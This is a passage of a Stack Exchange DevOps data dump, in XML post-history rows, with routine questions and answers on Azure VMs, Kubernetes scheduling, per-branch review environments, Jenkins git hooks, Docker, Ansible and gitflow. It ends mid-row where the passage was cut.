  <row Id="23399" PostHistoryTypeId="1" PostId="8064" RevisionGUID="9be341b5-1a5d-429a-bf90-c1d639368c76" CreationDate="2019-05-08T13:46:40.430" UserId="14747" Text="Azure VM with 24 vcpus often stalls in R" ContentLicense="CC BY-SA 4.0" />
  <row Id="23400" PostHistoryTypeId="3" PostId="8064" RevisionGUID="9be341b5-1a5d-429a-bf90-c1d639368c76" CreationDate="2019-05-08T13:46:40.430" UserId="14747" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23401" PostHistoryTypeId="5" PostId="8064" RevisionGUID="103ce318-6191-43ee-8a74-38fe681469d3" CreationDate="2019-05-08T15:29:36.407" UserId="14747" Comment="Add new VM" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group rgName \&#xD;&#xA;       --name test \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username azureuser \&#xD;&#xA;        --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;I have the same problem with Standard_F16s_v2.&#xD;&#xA;&#xD;&#xA;How can I fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23402" PostHistoryTypeId="4" PostId="8064" RevisionGUID="103ce318-6191-43ee-8a74-38fe681469d3" CreationDate="2019-05-08T15:29:36.407" UserId="14747" Comment="Add new VM" Text="Azure virtual machines often stall in R" ContentLicense="CC BY-SA 4.0" />
  <row Id="23403" PostHistoryTypeId="5" PostId="8064" RevisionGUID="c9d9788a-c74a-4536-93f0-57002596ee7c" CreationDate="2019-05-08T15:52:40.843" UserId="14747" Comment="added 43 characters in body" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group rgName \&#xD;&#xA;       --name test \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username azureuser \&#xD;&#xA;        --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;Other sizes of machines, `Standard_F16s_v2` and `Standard DS3 v2`, have the same problem.&#xD;&#xA;&#xD;&#xA;How can I fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23404" PostHistoryTypeId="50" PostId="5505" RevisionGUID="ea6abeb4-1962-4035-a71b-54ef5181a523" CreationDate="2019-05-08T18:03:25.637" UserId="-1" />
  <row Id="23405" PostHistoryTypeId="2" PostId="8065" RevisionGUID="17fcab44-6bf3-4852-9e7f-9be96abebf79" CreationDate="2019-05-08T20:30:17.247" UserId="14842" Text="Our system consists of&#xD;&#xA;&#xD;&#xA;* 2 frontend applications A and B (both in JavaScript/Angular), &#xD;&#xA;* 3 backend applications C, D and E (main API and two microservices all in Go)&#xD;&#xA;* MongoDB as F&#xD;&#xA; &#xD;&#xA;Our team grows bigger, it's 10 developers at the moment.&#xD;&#xA;&#xD;&#xA;We are working on 2, 3 new major features at the same time.&#xD;&#xA;&#xD;&#xA;We only have two pre-production environments which makes it hard to test/present different features that are being built at the moment (and on top of that, to test fixed bugs and hot fixes etc.).&#xD;&#xA;&#xD;&#xA;We use Git and try to follow git branching model (which might not be relevant here).&#xD;&#xA;&#xD;&#xA;To make it easier, we can assume, that each repository has its own Dockerfile to create a fully working container with that application.&#xD;&#xA;&#xD;&#xA;What are the options to make it super easy (one command) to publish/switch to a feature that a developer is working on so it's available on one of the environments (that could maybe be created dynamically?)&#xD;&#xA;&#xD;&#xA;Should we create 6 new servers/containers if we only make changes in application A?&#xD;&#xA;&#xD;&#xA;I would like to have easily accessible versions via a URL like `https://a166.preview.example.com` where `a` is the application name and `166` is the application version (or branch name).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23406" PostHistoryTypeId="1" PostId="8065" RevisionGUID="17fcab44-6bf3-4852-9e7f-9be96abebf79" CreationDate="2019-05-08T20:30:17.247" UserId="14842" Text="How to approach dynamic environments per Git feature branch workflow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23407" PostHistoryTypeId="3" PostId="8065" RevisionGUID="17fcab44-6bf3-4852-9e7f-9be96abebf79" CreationDate="2019-05-08T20:30:17.247" UserId="14842" Text="&lt;docker&gt;&lt;deployment&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23408" PostHistoryTypeId="2" PostId="8066" RevisionGUID="2359bed4-0203-446b-8665-fa4129a22b50" CreationDate="2019-05-08T22:04:59.553" UserId="14843" Text="I had a node get automatically removed from our kubernetes cluster by the autoscaler.  However, it appears the scheduler didn't get the memo, and it's still trying to assign pods to the dead node:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;I0508 18:42:38.615641       7 scheduler.go:166] Failed to schedule pod: default/auth--web-1859671213-t95st&#xD;&#xA;E0508 18:42:38.615718       7 factory.go:659] Error scheduling default auth--web-1859671213-t95st: node 'ip-10-100-70-212.ec2.internal' not found; retrying&#xD;&#xA;I0508 18:42:38.615778       7 factory.go:734] Updating pod condition for default/auth--web-1859671213-t95st to (PodScheduled==False)&#xD;&#xA;I0508 18:42:38.615915       7 event.go:218] Event(v1.ObjectReference{Kind:&quot;Pod&quot;, Namespace:&quot;default&quot;, Name:&quot;auth--web-1859671213-t95st&quot;, UID:&quot;8f42739e-71b3-11e9-b6cb-06d5afd487fe&quot;, APIVersion:&quot;v1&quot;, ResourceVersion:&quot;183075022&quot;, FieldPath:&quot;&quot;}): type: 'Warning' reason: 'FailedScheduling' node 'ip-10-100-70-212.ec2.internal' not found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;A `kubectl get nodes` confirms that the node is no longer a member of the cluster.  I can see the event in the AWS auto scaling group logs where the node was removed.  It's definitely dead and gone.&#xD;&#xA;&#xD;&#xA;I found a series of bug reports where this happened while leaving the scheduler in bad state, culminating in a PR to fix the problem:&#xD;&#xA;&#xD;&#xA; * [kube-scheduler gets stuck if there's a pod in a namespace that doesn't exist assigned to a node that doesn't exist](https://github.com/kubernetes/kubernetes/issues/43806)&#xD;&#xA; * [Pending pods with affinity rules looking for non-existing node](https://github.com/kubernetes/kubernetes/issues/56057)&#xD;&#xA; * [Scheduler should delete a node from its cache if it gets &quot;node not found&quot; error](https://github.com/kubernetes/kubernetes/issues/56261)&#xD;&#xA; * Bug fix, [Delete a node from its cache if it gets node not found error](https://github.com/kubernetes/kubernetes/pull/56622)&#xD;&#xA;&#xD;&#xA;However, the version of kubernetes we're running is old (1.7), so we're currently missing out on the patch.  Clearly, I should upgrade the cluster to a modern version.&#xD;&#xA;&#xD;&#xA;But I'd still like to get the Pending pods back up and running first.  Is there a way I can manually force the scheduler to update its cache, or to otherwise force the pods to be rescheduled onto a node that actually exists?&#xD;&#xA;&#xD;&#xA;Things I've already tried:&#xD;&#xA;&#xD;&#xA;* Adding more nodes to the cluster, to verify that there are enough resources to run the pods.&#xD;&#xA;* Restarting the scheduler, it comes back online with the same error.&#xD;&#xA;* Deleting the Pending pod, the replacement just tries to schedule back onto the same dead node." ContentLicense="CC BY-SA 4.0" />
  <row Id="23409" PostHistoryTypeId="1" PostId="8066" RevisionGUID="2359bed4-0203-446b-8665-fa4129a22b50" CreationDate="2019-05-08T22:04:59.553" UserId="14843" Text="Kubernetes scheduler trying to assign pods to node that no longer exists" ContentLicense="CC BY-SA 4.0" />
  <row Id="23410" PostHistoryTypeId="3" PostId="8066" RevisionGUID="2359bed4-0203-446b-8665-fa4129a22b50" CreationDate="2019-05-08T22:04:59.553" UserId="14843" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23411" PostHistoryTypeId="2" PostId="8067" RevisionGUID="753a6838-ca0a-49b0-b122-94befe14a6b8" CreationDate="2019-05-09T00:47:43.013" UserId="4369" Text="What you're after is referred to as &quot;Review Apps&quot; by [Gitlab](https://about.gitlab.com/product/review-apps/) and [Heroku](https://devcenter.heroku.com/articles/github-integration-review-apps). It relies on a CI/CD system that runs pipelines on every branch, and exposes the branch name to the build (usually as an environment variable). You can then use the branch name to namespace the resources created by your Infrastructure as Code.&#xD;&#xA;&#xD;&#xA;You have mentioned Docker so I will use Kubernetes as an example, but this approach can be applied to just about any deployment method.&#xD;&#xA;&#xD;&#xA;Normally when deploying a Docker image, you would name your deployment after the app, e.g.:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-app&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using either some kind of preprocessor (Jinja, envsubst, etc.) or a tool like [Helm](https://helm.sh/) we can pass in some parameters to make the resource include the branch name during the pipeline:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-app-${BRANCH_NAME}&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This way, branches do not deploy on top of each other. The resources they deploy are isolated to the branch.&#xD;&#xA;&#xD;&#xA;For an API or web app, you'll want some kind of DNS name and load balancer. Kubernetes handles this quite easily with Ingress and DNS controllers, so I'll use CloudFormation as an example this time.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;AWSTemplateFormatVersion: '2010-09-09'&#xD;&#xA;Parameters:&#xD;&#xA;  Branch:&#xD;&#xA;    Type: String&#xD;&#xA;  Environment:&#xD;&#xA;    Type: String&#xD;&#xA;  Zone:&#xD;&#xA;    Type: String&#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;# ALB resources omitted for brevity...&#xD;&#xA;&#xD;&#xA;  Route53:&#xD;&#xA;    Type: AWS::Route53::RecordSet&#xD;&#xA;    Properties:&#xD;&#xA;      Name: !Sub&#xD;&#xA;        - &quot;my-app-${Branch}.${Zone}&quot;&#xD;&#xA;      HostedZoneName: !Ref Zone&#xD;&#xA;      Type: A&#xD;&#xA;      AliasTarget:&#xD;&#xA;        HostedZoneId: !GetAtt ALB.CanonicalHostedZoneID&#xD;&#xA;        DNSName: !GetAtt ALB.DNSName&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here we create a DNS record that is very specific to the branch. The DNS record resolves to a load balancer which should point to the containers deployed by the pipeline for this branch. The stack name is also specific to the branch, so pipelines on other branches will not affect it. The end result is that each feature branch will have a dedicated URL (`https://my-app-my-feature.dev.example.com`) that your developers can use to test and showcase to stakeholders.&#xD;&#xA;&#xD;&#xA;&gt;Should we create 6 new servers/containers if we only make changes in application A?&#xD;&#xA;&#xD;&#xA;No. This isn't specifically related to Review Apps, but microservices in general should be self-contained: decoupled from each other so that they can be deployed in isolation. Removing dependencies and making small changes will increase your development/deployment velocity.&#xD;&#xA;&#xD;&#xA;## Considerations&#xD;&#xA;### Cleanup&#xD;&#xA;&#xD;&#xA;What happens when you merge or delete your branch? Without setting up some kind of cleanup, those containers and DNS records will sit around forever. You need some kind of cleanup. Something that just runs periodically and deletes resources associated to old branches is pretty simple to write, or you could take webhooks from your git server and delete those resources on an event.&#xD;&#xA;&#xD;&#xA;### Databases&#xD;&#xA;&#xD;&#xA;Some resources may not warrant getting deployed per-branch, although this should be the exception rather than the norm. You probably don't want to deploy a new database every time someone makes a branch (perhaps unless you have a good schema management tool and DB population scripts). You can have all deployments connect back to the same DB. Ensure that any changes you make to the schema are backwards compatible at least one version behind.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23414" PostHistoryTypeId="2" PostId="8068" RevisionGUID="6ca0381d-e414-47ae-a013-fe248dbd24e1" CreationDate="2019-05-09T08:07:01.960" UserId="12864" Text="While I don't know Bitbucket-specific solution, when it comes to triggering Jenkins builds, I prefer using a simple post-receive Git hook. &#xD;&#xA;&#xD;&#xA;In Jenkins select `Trigger this build remotely` (or something similar, it's usually the very first option in `Build triggers` section), then set up the post-recevie hook to something like:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    username=user&#xD;&#xA;    token=1234567890abcdefgh&#xD;&#xA;&#xD;&#xA;    echo &quot;Executing hook&quot;&#xD;&#xA;&#xD;&#xA;    while read oldrev newrev refname&#xD;&#xA;    do&#xD;&#xA;       branch_received=$(git rev-parse --symbolic --abbrev-ref $refname)&#xD;&#xA;       echo &quot;   /===============================&quot;&#xD;&#xA;       echo &quot;   | PUSH RECEIVED&quot;&#xD;&#xA;       echo &quot;   | Old revision: $oldrev&quot;&#xD;&#xA;       echo &quot;   | New revision: $newrev&quot;&#xD;&#xA;       echo &quot;   | Reference   : $refname&quot;&#xD;&#xA;       echo &quot;   | Branch name : $branch_received&quot;&#xD;&#xA;       echo &quot;   \==============================&quot;&#xD;&#xA;       curl -X POST -d &quot;BRANCH=$branch_received&quot; http://$username:$token@jenkins/job/job_name/buildWithParameters?token=$token&#xD;&#xA;       res=$?&#xD;&#xA;       if test &quot;$res&quot; != &quot;0&quot;; then&#xD;&#xA;          echo &quot;The curl command failed with: $res&quot;&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    exit 0&#xD;&#xA;&#xD;&#xA;Of course, the above runs for every branch and passes the branch name as a parameter to the job. In your case, since you have different job for every branch, you would call different URL depending on what branch was pushed and probably use `build` rather than `buildWithParameters` endpoint." ContentLicense="CC BY-SA 4.0" />
  <row Id="23415" PostHistoryTypeId="2" PostId="8069" RevisionGUID="812a0ba6-4ea8-472a-9535-4daf6882cb00" CreationDate="2019-05-09T10:13:39.743" UserId="14857" Text="I have an sbt project and i am creating its Jar using the  `sbt publishLocal` command and i want a docker image for that i am doing something like this &#xD;&#xA;&#xD;&#xA;    FROM hseeberger/scala-sbt:11.0.2_2.12.8_1.2.8&#xD;&#xA;    &#xD;&#xA;    MAINTAINER Sara Waheed &lt;sarawaheed3191@gmail.com&gt;&#xD;&#xA;    &#xD;&#xA;    WORKDIR /myproject&#xD;&#xA;    &#xD;&#xA;    ADD . /myproject&#xD;&#xA;    &#xD;&#xA;    # Define default command.&#xD;&#xA;    CMD [&quot;sbt&quot;, &quot;publishLocal&quot;]&#xD;&#xA;&#xD;&#xA;and i am building it `docker build -t myproject:v1` and run it `docker run myproject:v1`&#xD;&#xA;i have seen in the logs &#xD;&#xA;&#xD;&#xA;    [info] Main Java API documentation successful.&#xD;&#xA;    [info] Packaging /stripe-payment-account/target/myproject-1.0.1-javadoc.jar ...&#xD;&#xA;    [info] Done packaging.&#xD;&#xA;    [info] :: delivering :: com.test#myproject;1.0.1 :: 1.0.1 :: release :: Tue May 07 10:26:13 UTC 2019&#xD;&#xA;    [info] 	delivering ivy file to /stripe-payment-account/target/ivy-1.0.1.xml&#xD;&#xA;    [info] 	published myproject to /root/.ivy2/local/com.test/myproject/1.0.1/poms/myproject.pom&#xD;&#xA;    [info] 	published myproject to /root/.ivy2/local/com.test/myproject/1.0.1/jars/myproject.jar&#xD;&#xA;    [info] 	published myproject to /root/.ivy2/local/com.test/myproject/1.0.1/srcs/myproject-sources.jar&#xD;&#xA;    [info] 	published myproject to /root/.ivy2/local/com.test/myproject/1.0.1/docs/myproject-javadoc.jar&#xD;&#xA;    [info] 	published ivy to /root/.ivy2/local/com.test/myproject/1.0.1/ivys/ivy.xml&#xD;&#xA;    [success] Total time: 77 s, completed May 7, 2019, 10:26:13 AM&#xD;&#xA;&#xD;&#xA;and when i try to look the file contents of this container via &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    docker exec -t -i containerid /bin/bash&#xD;&#xA;and look into &#xD;&#xA;&#xD;&#xA;    cd ///root/.ivy2 &#xD;&#xA;&#xD;&#xA;and ls -a only shows &#xD;&#xA;&#xD;&#xA;    .  ..  .sbt.ivy.lock  cache&#xD;&#xA;&#xD;&#xA;the local folder is missing here but when i run the container it shows that it created the jar in `/root/.ivy2/local/com.test/myproject/1.0.1/docs/myproject-javadoc.jar`&#xD;&#xA;&#xD;&#xA;why its not showing the local folder in `.ivy2` folder what i am doing wrong here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23416" PostHistoryTypeId="1" PostId="8069" RevisionGUID="812a0ba6-4ea8-472a-9535-4daf6882cb00" CreationDate="2019-05-09T10:13:39.743" UserId="14857" Text="jar file is not displaying in docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="23417" PostHistoryTypeId="3" PostId="8069" RevisionGUID="812a0ba6-4ea8-472a-9535-4daf6882cb00" CreationDate="2019-05-09T10:13:39.743" UserId="14857" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23418" PostHistoryTypeId="50" PostId="6828" RevisionGUID="8e8978f5-296c-497e-965d-17862b3dc94c" CreationDate="2019-05-09T12:02:35.493" UserId="-1" />
  <row Id="23422" PostHistoryTypeId="2" PostId="8071" RevisionGUID="672e1395-1f5d-4ea2-b8cb-212a051d7725" CreationDate="2019-05-09T13:29:01.700" UserId="397" Text="I have an Ansible Playbook that is used to configure [WSL][1] on my Windows Laptop, having rebuilt my laptop recently I needed to run the playbook again, however it is failing with the following message:&#xD;&#xA;&#xD;&#xA;    The conditional check 'aptitude_installed is success' failed. The error was: no test named 'success'&#xD;&#xA;      line 1&#xD;&#xA;&#xD;&#xA;    The error appears to have been in '/mnt/c/source/richardslater/workstation-setup/wsl/plays/wsl.yml': line 15, column 5, but may\nbe elsewhere in the file depending on the exact syntax problem.&#xD;&#xA;    The offending line appears to be:&#xD;&#xA;&#xD;&#xA;      - name: ensure aptitude is installed&#xD;&#xA;        ^ here&#xD;&#xA;&#xD;&#xA;The [context][2] from the playbook is:&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;    - name: check if aptitude is installed&#xD;&#xA;      shell: dpkg-query -W -f='${Status}' aptitude | grep 'install ok installed'&#xD;&#xA;      register: aptitude_installed&#xD;&#xA;      failed_when: no&#xD;&#xA;      changed_when: no&#xD;&#xA;&#xD;&#xA;    - name: ensure aptitude is installed&#xD;&#xA;      command: apt-get -y install aptitude warn=False&#xD;&#xA;      when: aptitude_installed is success&#xD;&#xA;&#xD;&#xA;The output of `dpkg-query -W -f='${Status}' aptitude | grep 'install ok installed'` is:&#xD;&#xA;&#xD;&#xA;    install ok installed&#xD;&#xA;&#xD;&#xA;and `ansible --version`&#xD;&#xA;&#xD;&#xA;    ansible 2.2.1.0&#xD;&#xA;      config file = /mnt/c/source/richardslater/workstation-setup/wsl/plays/ansible.cfg&#xD;&#xA;      configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA;and `pip show jinja2`&#xD;&#xA;&#xD;&#xA;    Name: Jinja2&#xD;&#xA;    Version: 2.8&#xD;&#xA;    Summary: A small but fast and easy to use stand-alone template engine &#xD;&#xA;    written in pure python.&#xD;&#xA;    Home-page: http://jinja.pocoo.org/&#xD;&#xA;    Author: Armin Ronacher&#xD;&#xA;    Author-email: armin.ronacher@active-4.com&#xD;&#xA;    License: BSD&#xD;&#xA;    Location: /usr/lib/python2.7/dist-packages&#xD;&#xA;    Requires: MarkupSafe&#xD;&#xA;&#xD;&#xA;I'm not entirely sure how it ever worked, either that or something changed since I built this playbook, any ideas on how to fix?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux&#xD;&#xA;  [2]: https://github.com/RichardSlater/workstation-setup/tree/master/wsl/plays" ContentLicense="CC BY-SA 4.0" />
  <row Id="23423" PostHistoryTypeId="1" PostId="8071" RevisionGUID="672e1395-1f5d-4ea2-b8cb-212a051d7725" CreationDate="2019-05-09T13:29:01.700" UserId="397" Text="Ansible playbook fails with: no test named 'success'" ContentLicense="CC BY-SA 4.0" />
  <row Id="23424" PostHistoryTypeId="3" PostId="8071" RevisionGUID="672e1395-1f5d-4ea2-b8cb-212a051d7725" CreationDate="2019-05-09T13:29:01.700" UserId="397" Text="&lt;ansible&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23429" PostHistoryTypeId="50" PostId="6818" RevisionGUID="2f14e2a6-8a5a-47c7-91ff-8b1d10c31a63" CreationDate="2019-05-09T16:01:55.310" UserId="-1" />
  <row Id="23430" PostHistoryTypeId="2" PostId="8073" RevisionGUID="f278e718-78d2-427c-b984-29c0ed278f67" CreationDate="2019-05-09T16:25:01.920" UserId="13111" Text="I do not have any clue of how your code once ran and produced the expected result. The `when` clause cannot be executed (as you found out from the error) and would anyway produce the reverse result you are expecting if I follow the underlying logic (install the package only when it is already installed). Moreover, your are in this simple case far from good ansible practice.&#xD;&#xA;&#xD;&#xA;You should avoid using `shell` and `command` when there is an existing module that already does the job and manages idempotency for you. In present case, you can use the agnostic [`package`](https://docs.ansible.com/ansible/latest/modules/package_module.html) module or the specific [`apt`](https://docs.ansible.com/ansible/latest/modules/apt_module.html) (which I will prefer in my example since your playbook targets an Ubuntu install on wsl and a debian/ubuntu package anyway).&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;tasks:&#xD;&#xA;  - name: Ensure aptitude is installed&#xD;&#xA;    apt:&#xD;&#xA;      name: aptitude&#xD;&#xA;      state: present&#xD;&#xA;```&#xD;&#xA;The above will simply install `aptitude` unless it is already there in a simple easy single task." ContentLicense="CC BY-SA 4.0" />
  <row Id="23431" PostHistoryTypeId="50" PostId="6832" RevisionGUID="3fe9b107-958f-48d3-a81b-86d52105ef87" CreationDate="2019-05-09T17:02:01.213" UserId="-1" />
  <row Id="23432" PostHistoryTypeId="2" PostId="8074" RevisionGUID="926c599f-1452-497f-82bf-a469c612692e" CreationDate="2019-05-09T19:26:31.293" UserId="14868" Text="I have the same opinion as you, I see no point in using the Key Vault in such scenarios.&#xD;&#xA;&#xD;&#xA;Instead I utilize Azure App Configuration https://docs.microsoft.com/en-us/azure/azure-app-configuration/overview , where I simply store all application settings. &#xD;&#xA;And the only string I store together within the actual app service/ func/ web job, would be the connection string for accessing the Azure App Configuration.&#xD;&#xA;&#xD;&#xA;In my Startup where the configuration settings is applied I either read from ..settings.json, and if not present (which it should not be if running on Azure), I look for the connection string to the Azure App Configuration.&#xD;&#xA;&#xD;&#xA;If ..settings.json is found, it means that I'm running locally. &#xD;&#xA;&#xD;&#xA;..settings.json is encrypted if it is not in gitignore file.&#xD;&#xA;&#xD;&#xA;It looks something like this: &#xD;&#xA;```&#xD;&#xA;var appConfigEndpoint = Environment.GetEnvironmentVariable(&quot;AppConfigEndpoint&quot;);&#xD;&#xA;            var appConfigLabel = Environment.GetEnvironmentVariable(&quot;AppConfigLabel&quot;);&#xD;&#xA;                        &#xD;&#xA;            if (!string.IsNullOrEmpty(appConfigEndpoint))&#xD;&#xA;            {&#xD;&#xA;                config.AddAzureAppConfiguration(options =&gt;&#xD;&#xA;                {&#xD;&#xA;                    options.Connect(appConfigEndpoint);&#xD;&#xA;                    options.Use(keyFilter: &quot;*&quot;, labelFilter: appConfigLabel);&#xD;&#xA;                });&#xD;&#xA;            }&#xD;&#xA;            else&#xD;&#xA;            {&#xD;&#xA;                config.AddJsonFile(&quot;appsettings.test.json&quot;, optional: false);&#xD;&#xA;            }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23433" PostHistoryTypeId="2" PostId="8075" RevisionGUID="ac9af78e-1808-41ea-a219-fea55a47cbde" CreationDate="2019-05-09T19:32:51.770" UserId="11952" Text="My team is currently using gitflow workflow into develop branch.&#xD;&#xA;&#xD;&#xA;Here is an overview for what we are doing. We are a sql server data warehouse team  using Azure repos and Azure devops to build and deploy our code to SSIS, SSAS, and 30+ databases in our environment. I typically deploy to a integration server and then to a prod server. I have an auto build for our SQL server solution that triggers on checkin to the develop branch. I run manually a build that generate the deployment scripts. All the SSAS and SSIS builds and deployments are triggered on the checkin to the branch. &#xD;&#xA;&#xD;&#xA;I am looking at trying to migrate to a workflow that would be a pull request so I don't have a broken build that holds everyone eases deployments.  If someone breaks the build in the develop branch then I cannot deploy by the current method. &#xD;&#xA;&#xD;&#xA;Prior to moving to the azure devops I was using a release workflow to create the deployment artifacts manually and I would deploy everything manually. This was a completely manual process and time consuming process that was very tedious. &#xD;&#xA;&#xD;&#xA;I would like to figure out a path to get to using pull request. Does this mean I would do away with gitflow process? My team is currently using VSCode for creating features and this part works well. I am looking for advice for moving forward with pull request. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23434" PostHistoryTypeId="1" PostId="8075" RevisionGUID="ac9af78e-1808-41ea-a219-fea55a47cbde" CreationDate="2019-05-09T19:32:51.770" UserId="11952" Text="Gitflow with pull request or pull request" ContentLicense="CC BY-SA 4.0" />
  <row Id="23435" PostHistoryTypeId="3" PostId="8075" RevisionGUID="ac9af78e-1808-41ea-a219-fea55a47cbde" CreationDate="2019-05-09T19:32:51.770" UserId="11952" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23436" PostHistoryTypeId="2" PostId="8076" RevisionGUID="c9a04ef3-a1ae-45e8-a5f5-478a04bd40ad" CreationDate="2019-05-09T22:10:54.037" UserId="14872" Text="For example, if I have a SQL Server instance in RDS, and I have only a connection string to connect to the server, is there a sproc or some pre-configured tables I can access via SQL on the instance that would report the instance size string? (db.r5.xlarge)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23437" PostHistoryTypeId="1" PostId="8076" RevisionGUID="c9a04ef3-a1ae-45e8-a5f5-478a04bd40ad" CreationDate="2019-05-09T22:10:54.037" UserId="14872" Text="Is there a way to acquire metadata about an Amazon RDS database instance using only SQL?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23438" PostHistoryTypeId="3" PostId="8076" RevisionGUID="c9a04ef3-a1ae-45e8-a5f5-478a04bd40ad" CreationDate="2019-05-09T22:10:54.037" UserId="14872" Text="&lt;amazon-rds&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23439" PostHistoryTypeId="5" PostId="8067" RevisionGUID="39192e94-3306-4be9-a9c6-9ed86250461d" CreationDate="2019-05-10T00:53:21.603" UserId="4369" Comment="added 15 characters in body" Text="What you're after is referred to as &quot;Review Apps&quot; by [Gitlab](https://about.gitlab.com/product/review-apps/) and [Heroku](https://devcenter.heroku.com/articles/github-integration-review-apps). It relies on a CI/CD system that runs pipelines on every branch, and exposes the branch name to the build (usually as an environment variable). You can then use the branch name to namespace the resources created by your Infrastructure as Code.&#xD;&#xA;&#xD;&#xA;You have mentioned Docker so I will use Kubernetes as an example, but this approach can be applied to just about any deployment method.&#xD;&#xA;&#xD;&#xA;Normally when deploying a Docker image, you would name your deployment after the app, e.g.:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-app&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using either some kind of preprocessor (Jinja, envsubst, etc.) or a tool like [Helm](https://helm.sh/) we can pass in some parameters to make the resource include the branch name during the pipeline:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-app-${BRANCH_NAME}&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This way, branches do not deploy on top of each other. The resources they deploy are isolated to the branch.&#xD;&#xA;&#xD;&#xA;For an API or web app, you'll want some kind of DNS name and load balancer. Kubernetes handles this quite easily with Ingress and DNS controllers, so I'll use CloudFormation as an example this time.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;AWSTemplateFormatVersion: '2010-09-09'&#xD;&#xA;Parameters:&#xD;&#xA;  Branch:&#xD;&#xA;    Type: String&#xD;&#xA;  Environment:&#xD;&#xA;    Type: String&#xD;&#xA;  Zone:&#xD;&#xA;    Type: String&#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;# ALB 